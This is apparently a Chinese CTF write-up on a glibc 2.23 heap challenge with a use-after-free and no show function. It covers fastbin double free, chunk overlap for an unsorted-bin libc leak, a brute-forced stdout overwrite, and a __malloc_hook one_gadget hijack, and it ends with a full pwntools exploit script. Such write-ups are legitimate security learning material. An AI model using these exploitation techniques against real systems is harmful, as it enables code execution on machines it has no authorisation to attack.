buu的版本我没找到,换上buu的libc时,本地的ld又有问题,这里的版本就是2.23-0ubuntu3_amd64

本篇的脚本的思路来自这

分析代码

image-20250223171944078

image-20250223172004537

保护全开并且没有show函数

image-20250223172040649

并且我们申请的堆快只能在0x60大小往下到0

这个时候我们获得libc就是一件比较困难的事情

这题的洞很明显

image-20250223172403675

uaf

利用

所以我们利用的方法就是先进行堆快的重叠,达到unsortedbin中,获得libc,在改写stdout里面的write_base后得到libc,在改写malloc函数为one_gadgets

先申请5个堆快,按照0->1->0方式double free

image-20250223172822652

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
add(0x50,0,'aaaa')
add(0x50,1,b'a'*0x40+p64(0)+p64(0x61))
add(0x50,2,'aaaa')
add(0x60,3,'aaaa')
add(0x50,4,'aaaa')
add(0x60,5,'aaaa')

free(0)
free(1)
free(0)


add(0x50,0,'\xb0')
add(0x50,1,'aaaa')
add(0x50,0,'aaaa')

把0x5956dafe7000改成0x5956dafe70c0

image-20250223173009974

放到我们伪造好的地方

1
add(0x50,7,p64(0)+p64(0xd1))

伪造下个堆快的size的大小

image-20250223194146839

image-20250223194256705

1
2
free(2)
free(3)

free相应位置的堆快,放入unsortbin从而得到libc

image-20250223173525901

我们可利用的目标就是我现在标亮的

但是这里的值不是我想要的,我们可以先动调出我们想要的地方,例如,我想改stdout

image-20250223195039948

因为检查的原因,我们只能把堆申请到stdout-0x43这里

image-20250223195623153

理论上来说,我们申请的地址和unsortbin自动分割出来的地址除了后四位不一样,前面的都一样,又因为后三位的数字是不变的,所以改变的只有倒数第四位,因此,这里要爆破

1
2
3
4
5
6
7
8
9
10
11
12
add(0x50,3,b'aaaaa')
add(0x50,4,b'\xdd\x45')
add(0x60,5,b'\xdd\x45')
add(0x60,6,b'aaaa')
pause()
edit(6,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')

p.recv()
leak=u64(p.recv(6).ljust(8,b'\x00'))-0x18cc27
if leak == -0x3c5600:
exit(-1)
p.recv()

我们再申请一个堆快就能发现

屏幕截图 2025-02-23 194245

我们可以更改stdout的wtite_base位

更改后就可以获得libc了

image-20250223200542879

接着利用函数的uaf改写malloc_hook函数成one_gadget

小问题

改完后,我认为应该是再申请一个函数就可以获得shell,但是不行,而连续free两个堆快却可以获得shell

我去看看double free这个检查的源码

1
2
3
4
5
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
1
2
errout:
malloc_printerr (check_action, errstr, chunk);

不知道这个one_gadget怎么触发的

exp

这个脚本的版本和buu上面不太一样,不能直接打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
#p=remote('node5.buuoj.cn',25878)

p=process('./pwn')
libc=ELF('./libc-2.23.so')



s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s, num: log.success(f"{s} >>> {hex(num)}")

def add(size,idx,content):
sla(b'choice >> ',b'1')
sla(b'wlecome input your size of weapon: ',str(size))
sla(b'input index:',str(idx))
sa(b'input your name:',content)

def edit(idx,content):
sla(b'choice >> ',b'3')
sla(b'input idx: ',str(idx))
sla(b'new content:',content)

def free(idx):
sla(b'choice >> ',b'2')
sla(b'input idx :',str(idx))


def debug():
gdb.attach(p)
pause()

add(0x50,0,'aaaa')
add(0x50,1,b'a'*0x40+p64(0)+p64(0x61))
add(0x50,2,'aaaa')
add(0x60,3,'aaaa')
add(0x50,4,'aaaa')
add(0x60,5,'aaaa')

free(0)
free(1)
free(0)

debug()
add(0x50,0,'\xb0')
add(0x50,1,'aaaa')
add(0x50,0,'aaaa')



pause()
add(0x50,7,p64(0)+p64(0xd1))
pause()
free(2)
free(3)


add(0x50,3,b'aaaaa')
add(0x50,4,b'\xdd\x45')
add(0x60,5,b'\xdd\x45')
add(0x60,6,b'aaaa')
pause()
edit(6,b'a'*0x33+p64(0xfbad1800)+p64(0)*3+b'\x00')

p.recv()
leak=u64(p.recv(6).ljust(8,b'\x00'))-0x18cc27
if leak == -0x3c5600:
exit(-1)
p.recv()
lg('leak',leak)

one_shell=[0x4525a,0xef9f4,0xf0897]

shell=leak+one_shell[1]

add(0x60,8,b'aaaa')
add(0x60,9,b'aaaa')
add(0x60,10,b'aaaa')

free(8)
free(9)
free(8)


malloc_hook = leak + libc.sym['__malloc_hook']

add(0x60,8,p64(malloc_hook-0x23))
lg('malloc',malloc_hook)
lg('shell',shell)

add(0x60,9,'a')
add(0x60,10,'a')
add(0x60,11,b'a'*0x13+p64(shell))



free(0)
free(0)
p.interactive()